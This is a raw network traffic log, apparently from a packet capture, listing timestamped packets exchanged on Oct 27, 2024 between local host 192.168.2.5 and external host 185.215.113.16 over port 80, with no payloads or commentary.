Oct 27, 2024 20:15:34.861476898 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.861488104 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.861507893 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.861538887 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.861593008 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.861603975 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.861615896 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.861628056 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.861639023 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.861650944 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.861656904 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.861660957 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.861722946 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.861763000 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.861776114 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.861788034 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.861799955 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.861814976 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.861833096 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.861932039 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.861943960 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.861953974 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.861965895 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.861975908 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.861979008 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.861993074 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.862004995 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.862013102 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.862024069 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.899622917 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.899701118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.899717093 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.899729013 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.899740934 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.899754047 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.899765015 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.899776936 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.899786949 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.899800062 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.899811029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.899857998 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.899869919 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.899880886 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.899892092 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.899904966 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.899916887 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.899996996 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900010109 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900021076 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900162935 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900166988 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.900175095 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900188923 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900198936 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900223017 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.900233984 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.900346994 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900357008 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900367022 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900377989 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900388956 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900392056 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.900401115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900408030 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.900413036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900424957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900429010 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.900438070 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900464058 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.900480986 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.900506020 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900518894 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900528908 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900558949 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.900667906 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900681019 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900691986 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900710106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900722027 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900732040 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900743961 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900755882 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900844097 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900856972 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900867939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.900873899 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.901015997 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.901029110 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.901066065 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.901098967 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.902044058 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902056932 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902069092 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902081966 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902092934 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902096987 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.902107000 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902116060 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.902120113 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902132988 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902138948 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.902146101 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902170897 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.902189016 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.902192116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902203083 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902214050 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902246952 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.902390957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902564049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902575970 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902585983 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902596951 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902607918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902621031 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902627945 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.902635098 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902642965 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.902647018 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902659893 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902664900 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.902690887 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.902709961 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902720928 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902730942 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902744055 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902750015 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.902755022 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902766943 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902775049 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.902779102 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902789116 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.902791977 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902812004 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.902896881 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902906895 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902916908 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902928114 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902935028 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.902950048 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.902972937 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.902985096 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.903008938 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.903166056 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.903178930 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.903188944 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.903198957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.903214931 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.903235912 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.934475899 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.938090086 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938160896 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.938498974 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938534975 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938551903 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938565969 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938581944 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938585997 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.938604116 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.938606977 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938625097 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938641071 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938657045 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938662052 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.938672066 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938688040 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938698053 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938703060 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.938714027 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.938738108 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.938765049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938776970 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938786983 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938797951 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938808918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938812971 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.938822031 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938827038 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.938836098 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938848972 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938860893 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938868999 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.938899040 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.938939095 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938951015 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.938972950 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.939133883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939146996 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939165115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939176083 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939184904 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.939189911 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939201117 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.939202070 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939213991 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939224005 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.939225912 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939239025 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939255953 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.939270973 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.939275980 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939289093 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939299107 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939310074 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939326048 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.939330101 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939349890 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.939591885 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939604044 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939615011 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939625978 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939637899 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939644098 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.939652920 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939660072 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.939673901 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.939749956 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939759970 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939769030 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939780951 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939789057 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.939794064 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939806938 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939821005 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.939831018 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.939922094 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939934015 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939945936 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939956903 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.939958096 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.939974070 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.940097094 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940109968 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940120935 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940133095 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940146923 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.940164089 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.940273046 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940285921 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940295935 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940308094 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940321922 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.940323114 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.940326929 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940340042 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940351963 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940362930 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.940363884 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940387011 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.940507889 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940520048 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940531969 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940532923 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.940543890 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940551043 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.940562010 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940573931 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940582037 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.940586090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940592051 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.940629005 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.940659046 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940669060 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940680981 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940699100 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.940819025 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940830946 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940840960 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.940898895 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.940898895 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.941005945 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.941016912 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.941025972 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.941061974 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.941164017 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.941174984 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.941188097 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.941198111 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.941211939 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.941227913 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.941335917 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.941348076 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.941359043 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.941370964 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.941376925 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.941390991 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.941401005 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.941409111 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.941421986 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.941484928 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.941497087 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.941509008 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.941540956 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.941560030 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.941654921 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.941668034 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.941682100 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.941713095 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.956871033 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.957722902 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.163968086 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.163986921 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.163997889 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164010048 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164020061 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164031982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164042950 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164040089 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164072990 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164089918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164100885 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164105892 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164113045 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164124966 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164127111 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164139032 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164141893 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164153099 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164163113 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164165974 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164175034 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164186001 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164190054 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164196014 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164206982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164206982 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164226055 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164237976 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164247036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164252043 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164258957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164268970 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164269924 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164283991 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164283991 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164294004 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164304018 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164310932 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164315939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164329052 CET	80	49719	185.215.113.16	192.168.2.5
